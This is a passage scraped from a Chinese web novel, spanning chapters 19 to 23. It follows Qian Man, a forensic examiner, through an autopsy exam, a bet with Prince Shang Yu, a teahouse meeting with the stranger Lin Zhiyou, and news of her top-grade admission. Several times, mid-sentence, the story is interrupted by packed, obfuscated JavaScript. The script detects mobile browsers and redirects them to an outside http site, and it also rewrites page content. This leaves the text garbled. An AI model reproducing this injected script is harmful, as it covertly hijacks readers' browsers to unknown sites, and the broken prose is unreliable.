不像是骨头。 但她的刀确实是落到在了胸椎骨第七节位置。 钱满小心地用刀往里面探了探,刀尖再次出来的时候带出来一点淡蓝色的小颗粒。 这东西有些眼熟。 淡蓝色,半透明,带着甜腻的香味,更重要的是这冰冷的触感。 这东西和当初从商钰体内取出来的玄晶一模一样。 这几日钱明月给钱满恶补了很多关于四重门的知识,其中就包括一本她们钱家的家传秘籍,她曾曾曾姥娘当年的工作日记。 那本日记里曾经记载了一种特殊的保存尸体的方法,那就是把玄晶放置在人心脏附近,可以延缓尸体腐败,一片玄晶可以让尸体维持月余不腐,甚至可以起死回生。 只可惜书中对于玄晶的记载并无真实案例,这玄晶对于尸体的影响有多大也只是她曾曾曾姥娘的推测。 不过,有一点是可以肯定的。 商钰当初能够醒过来,钱满手术进行的及时是一方面,另一个重要的原因还是玄晶的作用。这具尸体死了那么多天,胎儿还能存活,大概也是同样的道理。 也就是说,这玄晶的主要功能应该有两个,一利用低温来延缓尸体的腐败,二利用自身的能量来救治。 看来这男尸的身份不一般啊。 一般人可是接触不到玄晶,更不要说把玄晶准确无误地放在心脏位置,大虞顶尖的高手也未必能够做得到。 这手法倒是可商钰遇害那次有点儿像,只是这男子的运气不好,玄晶入体之后,他没有得到想要的好处,反而付出了生命代价。 时间一分一秒过去,另外两人看上去也没什么头绪,洪灿正在用手中的刀具轻轻地刮着死者的腿骨,莫柠则在仔细地检查死者的腹腔。 观察骨骼组织的变化,确实可以推断死亡的时间,如果没有玄晶的影响,这道题并不算难,只是现在有了玄晶,这种推断就不准确了。 钱满在心里飞速计算着,如果死者体内的玄晶能维持一个月不腐,他们见到的时候玄晶的作用已经消耗殆尽了,再加上这半个月多月,再考虑到胎儿也会吸收一部分玄晶的养分,那么死者大概的死亡时间应该在45天左右。 刺啦—— 耳边突然传来一声细微的声音。 钱满下意识地后退两步,她对这个声音有些应激,想起前阵子河边那壮观的一幕,她还心有余悸。 不过她很快冷静下来,这尸体既然炸过一次,第二次爆炸的几率就太小了。 然而,接下的一幕却比她经历尸体炸了更让她震惊了。 随着那声诡异的刺啦声,她看到手术刀尖上面的小颗粒不见了,随即而来的是她的刀周围出现了一圈浅蓝色的光芒。 钱满:!!! 她的刀好像是吸收了玄晶颗粒。 所有这一切都发生在一瞬间,钱满下意识地看看其他两人,还好,洪灿和莫柠都在仔细探查尸体,没有人注意到她脸上表情的变化。 但这一切都分毫不差地落在了外面观察的考核官眼里。 郭诗语悄悄跟陆青杨咬耳朵,“看看,这不是那个钱满么,别人都在认真验尸,她站在那里发呆,她手里那把破刀有什么好看的……” 陆青杨也注意到了,钱满手里的刀看上去确实平平武器,但莫名就让人觉得顺眼,尤其是那把刀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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商钰哼笑了一声,“你断定死者死亡时间是45天前,你咋不说他是俩月前呢?” “殿下,判断依据都已经写明,您既然都看到了,还有什么不明?” “我怎么感觉你脑子突然变了?”商钰走进了一步,盯着钱满的脸看了几眼,又转了一圈,嘴里嘟囔着,“人是没错,怎么变聪明了?” 商钰不死心:“我看你就是抄袭别人,理由也是胡乱蒙的,玄晶呢?尸体内根本没有玄晶!” 这点钱满确实无从解释。 只得无奈道:“殿下就在现场,我有没有抄袭你都看到了,再说其他两人的答案你也知道,如果我抄袭的话,时间应该一样才对。” 商钰一时间语塞,“这——” 这个七皇子也没有多少心眼,毕竟也才十七岁,还是个孩子,他这个表情摆明了就是告诉钱满其他两人的答案跟她的不一样。 “殿下要是没什么事,小的就先告退了。” 商钰看到钱满的答案的时候就大笑了一通,还45天,亏她想得出来,他出来就是想着好好给她上一课的,没想到这人竟然想溜? 没门! “钱满你站住!我有事!”商钰清了清嗓子,“我胸口有些不舒服,就是你用刀子扎我的那个位置!” 20. 第 20 章 商钰说话的功夫,脸色突然变得苍白,额头也沁出细密的汗珠,再加上他一脸痛苦的样子,实在是看着楚楚可怜。 可就在钱满要靠近的时候,商钰突然笑了。 钱满的紧张他的样子还是和以前一样,每一次都上当。 “我就是要看看你还是不是原来那个傻大包!”商钰说着做了个鬼脸,“还是一样被我骗!看在你这么可怜的份上,我就提前告诉你吧!” 考核人员的答卷除去一些不符合基本要求的,最后都要宋沐风亲自评阅,作为助手的商钰自然有机会先睹为快。 宋沐风在看到钱满答卷的时候,用时比别人多了一倍不止,更奇怪的是她没有当场给出成绩,而是轻轻叹了口气。 商钰悬着的心终于死了,宋沐风的这个反应他理所当然地认为钱满必然是落榜了。 原本听到自己被戏弄钱满准备转身就走,但听到这个她也有些好奇商钰到底要说什么,不会是她考核合格了吧? 谁知—— “你呀,也不要太难过了,反正你们钱家有祖宗庇护,就算是考核不合格也能在四重门混口饭吃……” 钱满皱眉打断了他,“殿下这是什么意思?” 商钰叹了口气:“意思是你大概率被淘汰了,师父看了别人的都很快给了成绩,只有你的被单独拿了出来。” 钱满:…… 说实话,钱满也没有百分百的把握,这个世界的很多规则她还在摸索中,做出的判断也只是推理,被淘汰也不是没有可能。 但商钰这个样子真是太可气了,他虽然一副好心的样子,但小狐狸一样的笑容就没停过,看到自己难堪他就这么开心? 真不愧是死对头! 一时间钱满心中升起一股冲动,真想捏爆他肉嘟嘟的脸蛋儿……这张脸到底是吃了什么长出来的,粉润的羊脂玉一般,让人忍不住浮想联翩。 要是亲一口,那口感应该很好吧? 这念头一出,钱满被自己的想法吓了一跳,她突然意识到一个问题,自己不管是在这个世界还是原来的世界,还没亲过谁……小时候亲爸妈那不能算。 咳。 “……钱满,你不会是哭了吧?” 钱满这才回神,心跳有些加速,谁哭了?总有一天让你哭! “多谢殿下告知,不过最终成绩还没出来。”钱满笑了一下,“谁被淘汰还不一定呢,不如这样,我跟殿下打个赌,如果我被淘汰了,殿下可以要求我做一件事,同样,如果我被录取,也可以向殿下提一个要求。” 商钰眼睛闪了一下,思虑片刻,痛快答应,“没问题,本宫准了!” 出了四重门,钱满的心情一点点低落起来,她之前没想过自己可能被淘汰这件事,现在一想,这个可能性还真是挺大……难道她真的要守着花不完的银子做一个草包了吗? 这样的人生她上辈子就不喜欢,这辈子也一样。 但钱满就是这样,从四重门出来不到一刻钟的功夫,她已经把自己哄好了,不就是一次失败?这次考不上,还有明年呢。 再说,只要她还在四重门,就总归是机会比其他人多一些。 还是先找个客栈把自己清洗干净再说吧,不然刘楚玉的高分贝可比商钰的刁难更让人头疼。 钱满开了个房间,让店小二准备沐浴的东西,没想到竟然遇到了熟人了。 洪灿和莫柠就住在她隔壁的房间。 “哎——钱满?你也住这里啊?” 钱满:“……是啊,真巧。” 洪灿似乎还想说什么,就被身边的莫柠一把拉进了房间,钱满心里有些犯嘀咕,心道自己也没得罪她们吧? 店小二很快把热水准备好了,身体泡进热水,钱满舒服得长长叹息,这个世界奇奇怪怪,但也有值得的东西……这浴桶就很不错。 钱满泡得实在太舒服,一不小心睡着了,等她赶到家的时候天已经擦黑了。 一进院门,一脸焦急神情的钱明月就迎了上来。 “怎么这么晚回来?” 钱满扯了个谎,“我……遇到了七皇子,就多说了几句。” 钱明月微不可见地叹了口气。 其实钱明月早就打听了,她在四重门这么多年,认识的人也不少,再说谁不知道钱家的渊源,经历了七皇子一事,大家也都知晓她夫君是刘家的公子,她想要打听什么消息并不难。 自然是得到的消息和商钰说的差不多,而且按理说钱满午后就应该回到家了。 看到女儿现在这个表情,钱明月一颗悬着的心终于死了。 “……没关系,你娘我当年也没有考过。” 刘楚玉接了一句:“没考过是好事,不用天天剖尸,阿满,今天给你加餐,多吃点。” 晚餐竟然异常的丰盛,钱满这才明白过来,看来钱明月两口子早就知道她考核的结果了吧,这丰盛的菜肴就是给她的安慰。 早知道这样,也不用花钱开放沐浴了。 饭毕,钱明月没有再提练功的事情,钱满也回了自己的院子。 就连一向聒噪的黑猫今晚也特别安静。 唉。 钱满长叹一声。 她心里实在是不甘心,想想自己曾经一路硕博披荆斩棘畅通无阻,怎么来到这个世界屡屡遭挫了。 不对。 七皇子案件结束之后,她有种怪怪的感觉,明明案子疑点那么多却莫名地了结了,冥冥之中似乎有人在帮她,再后来宋沐风给她书,四重门突然增加了这次考核。 一切巧合都不过是处心积虑罢了,一时间,钱满思绪浮动,但很快纷乱的思绪中浮现出一张笑脸。 还带着婴儿肥的脸,白皙中透着粉润,眼神中带着挑衅和狡黠,仿佛在说:哈哈哈,我赢了,钱满你要答应我一件事! 嘿嘿。 钱满咂咂嘴,忍不住乐出声,要说这阵子有什么开心事,七皇子勉强算得上是一桩吧,虽然两人是“死对头”这件事还没有搞清楚,但他那张脸对于钱满这个颜狗着实有杀伤力。 输了就输了吧,答应他一件事而已。 “喵呜~” 黑猫突然发出了一声凄厉的叫声。 钱满回头,就看到黑猫不知道什么时候跳到了床边的桌子上,而黑云的脚下按着的正是她刚才放到桌上的解剖刀。 但钱满又有些不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭诗语也跟着打配合:“不仅如此,我们二组的组员这三年的成绩是三个组中垫底的,水刀组的人都知道,一组三组去不了的才会考虑我们二组,门主,要是许组长还在,她一定不想看到这个情况吧。” 真是一张好嘴,竟然把许伽给抬出来了。 言外之意,你们欺负我们二组没有组长,已经欺负了三年了。 宋沐风原本是把这些组长们叫过来,通报一下这次考核的结果,同时也看看大家有没有异议,不曾想她还没有说这个一级甲等的人是谁,这几个组长就开始了抢人大战。 宋沐风原本的计划是把钱满放到二组,但眼下的这种情况怕是得换一种方式了。 “既然你们三个组都想要这个组员,”宋沐风笑了一下,“那就每个组派出一个代表,抓阄吧。” 当然,这个抓阄的结果自然是宋沐风能够控制的。 陆青杨她们得偿所愿,其他两个组的也只能愿赌服输。 只是陆青杨看到钱满的名字的时候傻眼了,“……门主,这个一级甲等的人,叫钱满?” 21. 第 21 章 “……门主,这个一级甲等的人,叫钱满?”陆青杨的声音里带着疑惑震惊还有一丝懊恼。 其他几个人的反应除了震惊还多了几分幸灾乐祸。 因为七皇子一案,钱满的大名现在在四重门也是小有名气,明面上她在七皇子一案上功不可没,但谁心里没有一杆秤呢,不过是她赶上了,运气好罢了。 她这个一级甲等的成绩到底有没有水分,恐怕只有宋沐风知道了。 嘉禾小筑瞬间安静了下来,刚才还吵得不可开交的几位组长,此刻都如同被人点了穴道一般,齐刷刷地看向宋沐风。 宋沐风神色如常,嘴角带着笑意,目光扫过众人,最终落在了陆青杨的脸上。 “陆副组长,你有什么疑问吗?” 陆青杨定了定神,再次确认了一遍手中的名单,没错,一级甲等,钱满,白纸黑字,赫然在目。 但她心里还是有些不愿意相信。 “门主,您确定是这个钱满?”陆青杨指了指名单上的名字,又指了指自己,“就是之前在我们二组帮忙的那个钱满?” 王桔也凑了过来,看了一眼名单,又看向陆青杨,眼神里带着探寻。 黄新月虽然没说话,但表情也明显带着疑惑。 宋沐风轻轻点了点头,“正是她。” 这下,嘉禾小筑再次炸开了锅。 “门主,您是不是搞错了?一级甲等?钱满?她不是行人房的行走吗?”王桔率先发难,声音里带着明显的质疑,“我承认她的确有些天赋,但要说一级甲等,是不是太过了?” “是啊,门主。”黄新月也开了口,声音依旧不高,但语气却带着一丝不容置疑,“一级甲等多少年没有出现过了?这次考核大家也都看到了,题目并不简单,不是我们不信任她,只是实在好奇,钱满的答案到底是什么?” 黄新月的意思已经很明显了,如果不公布钱满的□□,一级甲等这个评级,实在难以服众。 陆青杨现在就很后悔,她是想要个好苗子给自己助力,但不想要钱满啊! 一想到那天在壶流河边发生的事情,她到现在还觉得憋气呢,她需要的是一个能力出众又听话的人,钱满那张嘴显然不是个听话的。 再加上钱家和刘家的关系,钱满一旦得了势,把自己踩一脚也不是没有可能,这个烫手的山芋还是给别人吧。 “门主,既然是一级甲等,那按照四重门的规矩,这个人应该由门主亲自教导吧?”陆青杨试探性地问道,“属下才疏学浅能力有限,怕是不能教好她。” 陆青杨这话很明显是要把钱满往外推了。 此话一出,另外两位组长不乐意了。 黄新月嗤笑了一声:“刚才抢人的时候比谁都大声,现在反悔晚了吧?” 王桔也幸灾乐祸,“恭喜陆副组长又添了猛将。” 宋沐风笑了,说得不紧不慢,“四重门确实有这么一个规矩,但很多年过去,这条规矩也该随之改变,钱满既然与你有缘,那就辛苦陆副组长了。” 另一边。 看到钱满的成绩,商钰有些不敢相信自己的眼睛,他当年的成绩记录就这么被打破了? 打破他成绩记录的人还是钱满? 商钰震惊之余又感到愤怒,因为他想起自己与钱满的那个赌约,自己竟然输了。 不行,得找宋沐风问个清楚。 宋沐风刚刚送走了一堆前来要人的下属,正想着喝口茶清净一会儿,没想到徒弟又风风火火的来了。 看来钱满的本事不虚,她这个小徒弟的身体是越来越好了。 “师父,你也太偏心了吧?那个钱满,怎么可能是一级甲等?我看她就是走了狗屎运!”商钰语气酸溜溜的,显然对钱满获得如此高的评价感到不满。 宋沐风看着商钰,眼神里带着一丝无奈。 “商钰,为师知道你心里不服气,但这次考核的结果,是所有考核官共同评定的,为师并没有偏袒任何人,更何况,你自己也在现场。” “可是……”商钰还想说什么,却被宋沐风打断了。 “好了,商钰,为师知道你心高气傲,但人外有人,天外有天,钱满的确有过人之处,你也要虚心学习,不可骄傲自满。” 宋沐风语重心长地说道:“钱满救过你的命,你更应该对她心存感激,而不是处处针对。” 提到救命之恩,商钰的脸色更加难看。 他当然知道钱满救过他,但正因为如此,他心里才更加别扭。 更别扭的是,他之前还跟钱满打赌,现在好了,输得彻彻底底的。 “师父,我还有事,先告退了。”商钰语气生硬地说道,转身离开了嘉禾小筑。 谁知冤家路窄。 商钰刚出四重门,远远地就看到钱满的背影了。 还有这么巧的事情? 这人一定是在门口堵人的吧? “钱满!” 钱满停下脚步,转过身,看到了一脸怒气的商钰,她心里升起一丝喜悦,这小子一幅气急败坏的样子,看来是跟自己的赌约输了吧? 商钰输了,那就意味着自己通过了考核?这么说,自己可以正式加入四重门了? 但为了给商钰留些脸面,钱满还是面无表情,语气淡淡:“殿下,真是巧啊。” “巧?哼,我看你是故意在这里等着的吧?”商钰冷笑一声,准备先发制人,“钱满,上次打赌的事情,你还记得吧?” 钱满挑了挑眉,嘴角微微上扬,“当然记得,殿下想说什么?” “哼,你侥幸通过了考核,还拿到了一级甲等,真是让本宫刮目相看啊。”商钰阴阳怪气地说道,语气里带着明显的嘲讽,“不过,你以为这样就能在本宫面前耀武扬威了吗?告诉你,还早得很!” 钱满觉得有些好笑,这个七皇子,还真是幼稚得可以。 “殿下想多了,我对在您面前耀武扬威没有任何兴趣。”钱满语气平静地说道,“我只是想知道,殿下打算什么时候兑现赌约?” 商钰脸色一僵,似乎没想到钱满会这么直接。 “赌约?本宫当然记得!”商钰梗着脖子说道,“说吧,你是想要金银还是男子。” 商钰说话的时间眼睛瞪着钱满,似乎在说你敢要任何一样都死定了! “我什么都不要。” 商钰的表情有了些松动,语气也有些缓和,“那不行,我也不是言而无信之人,说吧你到底想要什么?” 钱满深吸一口气,决定问出自己心里最想知道的问题。 “殿下,我想要……你能不能告诉我,你到底为何这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“在下林知优,不知小姐姐如何称呼?”男子主动问道,语气温和,笑容真诚。 “我叫钱满。”钱满也露出了笑容,对这个陌生的男子,她竟然有一种莫名的亲切感。 “钱满,真是个好名字。”林知优赞赏地说道,眼神里带着一丝欣赏,“不知钱姑娘要去哪里?不如在下送你一程?” “不用了,多谢林公子好意。”钱满婉拒道,虽然对林知优印象不错,但毕竟是陌生人,她还是保持着应有的警惕。 “没关系,就当是赔礼道歉了。”林知优坚持道,语气诚恳,“刚才是我走得太急,撞到了姑娘,理应送姑娘一程。” 钱满犹豫了一下,最终还是点了点头,“那就多谢林公子了。” 两人一起上了马车,林知优热情开朗,健谈风趣,很快就和钱满熟络起来,仿佛认识了很久的朋友一般,一见如故。 不远处,一双眼睛正阴沉地注视着这一切,正是怒气冲冲离开的商钰。 他刚才离开后越想越觉得不解气,想着回来再找钱满理论一番,没想到竟然看到了钱满和一个陌生男子有说有笑地走在一起,还靠得那么近! 更可气的是,话都没有说几句,还上了人家的马车! 商钰心里更加恼火,一股无名怒火涌上心头,几乎要将他吞噬。 钱满这个女人,真是太可恶了! 22. 第 22 章 钱满冥思苦想再三确认,眼前的这位林知优原主确实不认识。 脑海里一丁点儿记忆都没有。 但就是很奇怪,互不相识的两个人却一见如故,钱满其实说得不多,倒是林知优的谈笑声未绝,他似乎有说不完的趣事,从大虞风土人情说到奇闻异事,话题变换得毫无痕迹。 马车车轮压过石板路,发出轻微的咯噔声,主街上人头攒动,他们的马车只能缓缓移动,与林知优缓慢的语调相得益彰。 钱满大概是刚才被商钰气着了,对比之下林知优的一颦一笑都如沐春风。 只是,单纯看脸的话,还是商钰略胜一筹。 钱满心里默默做着对比,忍不住又偷瞄了几眼对面的林知优,对上对方的目光她又很快扭头,扒开帘子看向外面,视线随意地瞥向远处。 这一看她吃了一惊,远处那人不是商钰又是谁! 刚刚明明已经远去的商钰,不知为何正站在不远处的街边,那张俊美却扭曲的脸庞,隔着一段长长的距离,钱满都能感受到那几乎要喷薄而出的怒火,商钰目光死死盯着马车,眼神阴鸷,仿佛下一秒他的拳头就要飞奔而来。 钱满的心猛地一跳,一种复杂的情绪涌了上来。有那么一瞬间的心虚,像是做了坏事被当场抓包,但紧接着,又升起一股莫名的痛快感。 死对头生气,她应该觉得痛快才对! 谁让他对自己总是鼻子不是鼻子眼不是眼的,活该! 钱满迅速放下车帘,隔绝了那道灼人的视线,深吸一口气,努力将刚才的画面从脑海中驱散。 林知优注意到她神色变化,问:“钱姑娘,怎么了?” “没什么,”钱满勉强笑了笑,不想多提,“刚才好像看到了……一只不太听话的猫。” 林知优笑了笑,很识趣地没有追问,他话锋一转,提议道:“前面不远就是茗香居,既然有缘相遇,不如我请钱姑娘去品品茶如何?也算是我为方才的鲁莽赔罪。” 茗香居? 这不就是上次商钰和唐素来喝茶的地方? 据说这里除了喝茶还有节目,钱满心思有些浮动吗,刚刚跟商钰吵架吵得口干舌燥的,去喝杯茶也不错。 看看林知优真诚带笑的眼睛,又想到刚才商钰那张臭脸,钱满决定顺应心意。 “好啊,那就恭敬不如从命了。” 林知优眼底笑意更深,吩咐车夫:“去茗香居。” 马车很快抵达目的地。 上一次钱满只是来到门口没有进来,进去之后才发现,这茗香居大有名堂。 简洁古朴的门头内里别有洞天,从门厅到后面的茶室要经过一个院子,院子虽然面积不算大,也有半亩地大小,园林景观设计得十分精致,曲径通幽,竹影摇曳,空气中弥漫着淡淡的茶香,令人心旷神怡。 店员引着两人往里走,来到后面二楼一个临窗的雅座,正要落座,一个尖锐的声音忽然从旁边传来。 “哟,我当是谁呢?这不是钱满?你不好好练习开膛破肚,跑到这里来作甚?” 钱满循声望去,只见邻桌坐着一个衣着华丽身材圆润的男子,一张圆圆的包子脸,正用一种审视又不屑的目光打量着她。 原来是唐素这只小肥狗。 钱满心里叹息,今天真是不顺,刚刚摆脱了一个商钰,这又来一个他的好友。当着林知优的面,她也不好发作,就忍着不悦给了唐素一个笑脸。 希望这只小肥狗是个聪明识趣的。 唐素看到钱满没说话还对着自己笑,可就更加恼火了,觉得钱满是跟他示威,谁不知道他与七皇子交好?看不起他就是看不起七皇子啊! 唐素站起身,慢悠悠地踱了过来,目光在钱满和林知优身上来回扫视,哼了一声:“钱满你真是厚脸皮,青天白日的在这勾搭男人,这位公子,你可睁大眼睛看清楚了,你眼前的这位可是……可是我最讨厌的人!” 这话实在难听,说自己也就罢了,怎么见人就咬呢,钱满脸色沉了下来,这小肥狗简直比商钰还烦人。 只是她还没开口,旁边的林知优已经站了出来,挡在钱满身前,脸上依旧带着温和的笑意,但语气却不容置疑:“这位公子,说话还请自重,钱姑娘是我的朋友,也是我的客人,这里不欢迎你!” 唐素一脸震惊,有些怔楞地看着林知优,她可以确定中州有头有脸的人家里没有这号人,哪里来得土包子,仗着自己有几分姿色就敢教他做人? “朋友?客人?”唐素像是听到了什么天大的笑话,“你可别被某些人的外表骗了!你们才认识几天?” 唐素与钱满邻居多年,她怎么不知道钱满还有这样的朋友? 钱满这么多年根本就没有朋友,形影不离的仇人倒是有一个。 不,现在有两个了! 唐素觉得自己有责任替七皇子教训一下钱满。 “什么朋友客人的,我看是恩客吧?” 钱满忍无可忍,冷声反驳:“唐素,你我无冤无仇,何必一见面就恶语相向?是你的教养只允许你这样与人交谈,还是你觉得恶意中伤别人能让你显得更高贵?” “你!”唐素没想到钱满敢直接顶撞她,脸色一阵青一阵白,“你算个什么东西,也配跟我谈教养?” “我的确不算什么东西,”钱满迎上她的目光,“但至少我不会像疯狗一样逮谁咬谁,你若是有劲儿没处使,不如去街边找个石礅子咬几口,别在这里污了茗香居清净之地。” “说得好。”林知优适时补充,语气平静,“这位公子,茶水可静心,若是心浮气躁,不妨多饮几杯。我与钱姑娘还有事,恕不奉陪。” 两人一唱一和,唐素哪还是对手,气得胖脸都变了形。 唐素气得浑身发抖,指着钱满,“好,好得很!钱满,你给我等着!” 撂下狠话,唐素再也待不下去,扭头怒气冲冲地离开了茗香居。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311854|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着唐素愤然离去的背影,钱满呼出一口气,转头对林知优道:“抱歉,林公子,让你见笑了,还连累你听了这么多腌臜话……” “无妨。”林知优摆摆手,笑道:“这个小唐公子我略有耳闻,将军府的小公子嘛,自然是个有脾气的,就是我有些好奇,你是怎么惹到他的?” 钱满也想知道啊! “实不相瞒,我有一个从小一起长大的死对头……”钱满叹了口气,“唐素与他是好友,我可不敢惹他们,但今天他说话也太离谱,连恩客这样的话都说出来了,实在是唐突了公子。” 林知优笑着摆摆手,“无妨,无妨,林某行走江湖,结朋交友讲究随缘,我们还是喝茶吧!” 钱满有些不好意思地笑了笑,“好。” 对于喝茶,钱满是个门外妇,但只是浅浅一口,馨香瞬间润透心肺,这茗香居果然是名不虚传,再加上小舞台丝竹袅袅,钱满就觉得对面男子越发赏心悦目。 另一边,唐素怒冲冲地离开茗香居。 他越想越气,钱满那个草包,竟然让一个男人请她喝茶听曲,两人大白天的眉来眼去的,那男人一看就不是个善茬,长得一脸狐狸相,两人一看就有猫腻。 不行,这口气咽不下去!她得去找七皇子说说! 唐素立刻调转方向,直奔皇宫。 此刻的商钰,正在自己的宫殿里来回踱步,心里的火气不但没消,反而越烧越旺。他一想到钱满和那个陌生男人相谈甚欢,甚至上了对方马车的画面,就觉得胸口堵得厉害。 “殿下!殿下~”唐素的声音带着急切闯了进来。 唐素因为与七皇子交好,再加上唐大将军的关系,他即便是天天进宫也没人阻拦,虽然商钰早就习惯了唐素不请自来,但他今天这个慌张的样子还是头一次。 商钰不耐烦地停下脚步,“又怎么了?什么事大呼小叫的?” 唐素跑到他面前,喘着气,脸上还带着未消的怒意,添油加醋地说道:“殿下,我刚才在茗香居看到钱满了!” 听到钱满的名字,商钰眉头又是一皱,这人上了人家马车还不算完,难道又一起去喝茶了? 商钰忍住怒火,“看到她又如何?” “她不是一个人!她和一个男人在一起,两人有说有笑的,举止亲密得很!那个男人还请她喝茶!我不过是说了她两句,那个男人就护着她,简直……”唐素喘了口气,故意顿了顿,观察着商钰的脸色,然后才慢悠悠地补上一句,“简直不忍直视,那个男人长得可俊美了,我看钱满……” 咔吧。 一声攥紧拳头发出的关节脆响打断了唐素的话。 听到“长得可俊美了”这几个字,商钰的脸色瞬间变得极其难看,周身的怒气几乎凝成了实质。 “长相俊美?”他重复着这几个字,声音像是从牙缝里挤出来的,带着一股说不出的阴冷和暴躁,眼睛里几乎要喷出火来。 “难道有我美?” 23. 第 23 章 “难道有我美?” 话音落下,商钰才猛地意识到自己说了什么,自己是大虞皇子,跟一个不入流的陌生男子比什么俊美。 这般幼稚的攀比,全然不像一个皇子该有的气度。 商钰脸上瞬间腾起一股热意,从脖颈烧到耳根。这反应连他自己都觉得陌生又难堪,他何时竟会在意这种事情?还是因为钱满?那个不识好歹的女人! 好在唐素是个简单脑子,只当是商钰被气糊涂了。 唐素:“当然是你美啊!没有人能跟小鱼鱼比!” 商钰:“什么不入流的东西,跟我比?他也配?” 唐素却没看出他那点微妙的羞赧,只当七皇子是被气狠了,连这种话都问出来,可见对那小白脸有多不屑,对钱满有多愤怒。 双手叉腰附和:“殿下说的是!那男人算个什么东西,哪里及得上殿下万分之一!钱满真是有眼无珠,居然跟那种野男人勾搭!殿下,这事不能就这么算了,必须得给她点颜色瞧瞧,让她知道厉害!” 唐素义愤填膺,唾沫横飞,一心想着要为好友出气,顺便搅黄钱满的好事。 商钰被他吵得头疼,心里的燥意更盛。 生气是真的生气,但内心深处,似乎还掺杂了些别的,一些比生气更难以让他忍受的情绪,商钰原本以为,自己自欺欺人一般把钱满当做仇敌,内心深处的悸动就会随之减少,事实证明他好像是做错了。 被唐素一吵吵,内心的复杂情绪更甚,商钰挥挥手,打断唐素的聒噪:“行了,这事我自有计较,你不用操心了。” 与此同时,茗香居内,气氛却与皇宫中的剑拔弩张截然不同。 钱满啜饮着杯中的香茗,茶水的温热顺着喉咙滑下,带着一股清雅的香气,让她因唐素而起的些许不快彻底消散。她抬眼看向对面的林知优,男子含笑而坐,眉眼温润,自有一股令人心安的气度。 “林公子这茶选得真好,入口甘醇,回味悠长,很好喝。”钱满放下茶杯,真心实意地赞,她对茶道一窍不通,但好坏还是能品出来的。 林知优轻笑:“钱姑娘喜欢就好。这是今年的新茶,名曰小自在,其实品茶与交友相似,无需懂得多少门道,合自己的口味,自在舒心便好。” 这话让钱满觉得周身熨帖。 原本她还有些拘谨,怕在对方面前露怯,听他这么一说,倒是放松不少。 “林公子说得有理!就像今日与公子相遇,虽是偶然,却觉投缘。” “哦?”林知优眨眨眼,“钱姑娘也觉得投缘?” “嗯。”钱满点头,迎上他的目光,“公子见识广博,谈吐不凡,与公子说话,如沐春风。” 这并非全然的客套,而是她的真实感受。眼前这人,虽初次见面,却让她有种莫名的熟悉与亲近感。 当然,钱满更多的是好奇。 在原来的世界,她在公安大学也修过心理学的只是,心里自然明白,如果你觉得和一个人相处很舒服,那么大概率是因为对方的段位比你高出很多。 这个林知优,出现得很是巧合,说话又滴水不漏……说什么天降奇缘啊,她是不可能全信的。 看看这人怎么演吧。 林知优脸上的笑意更浓,“能得姑娘如此评价,林某荣幸之至。实不相瞒,林某从小推理断案很感兴趣,只可惜身为男子很难达成愿望……姑娘能在七皇子一案中轻而易举扭转乾坤,真是让人佩服!” 看看,果然是个有目的的。 一个普通的男子,怎么会关注推理探案,还是关系到皇子的? 除非他与这个案子有着某种关联。 钱满没有立刻接话,笑了笑。 就听到林知优又幽幽地说:“……要是我也有这么好运气就好了。” 好运气? 差点成为尸体的好运气吗? 钱满摇摇头,“林公子真是说笑了,这样的运气还是不要有,平安最重要。” 两人相视一笑,点到为止,林知优又不着痕迹地把话题扯了出去。 时间在不知不觉中流逝,眼看天色不早,林知优主动开口:“今日与钱姑娘相谈甚欢,不知不觉竟已至此时。林某有个不情之请,不知姑娘下次得闲,可否再一同品茗?” 钱满一口答应:“林公子相邀,是我的荣幸。只是我当值期间琐事甚多,未必常有空闲。” “无妨,”林知优善解人意地摆手,“不如这样,我们约定,每逢旬休,若彼此都有空,便来这茗香居小坐片刻,如何?” 这人要与自己建立稳定的联系,目的大概率与七皇子之前的案子抛不开关系,钱满点头答应。 告别了林知优,钱满直奔家中。 刚踏进院门,就见母亲钱明月快步迎了上来,脸上是难以抑制的激动。 “阿满!你可回来了!”刘钱明月拉住她的手,声音都有些颤抖,“快看!四重门的信使方才来了!你的名录!中了!中了!” 钱满一愣,心跳骤然加速。她接过母亲递来的那封带着四重门特殊印记的信函 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323670|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手指微微发颤地展开。 【录取名录:钱满,一级甲等。】 简简单单几个字,却仿佛有千斤重。 钱满松了一口气,这第一步总算是迈进去了。她还没来得及回应,就被钱明月抱了个满怀。 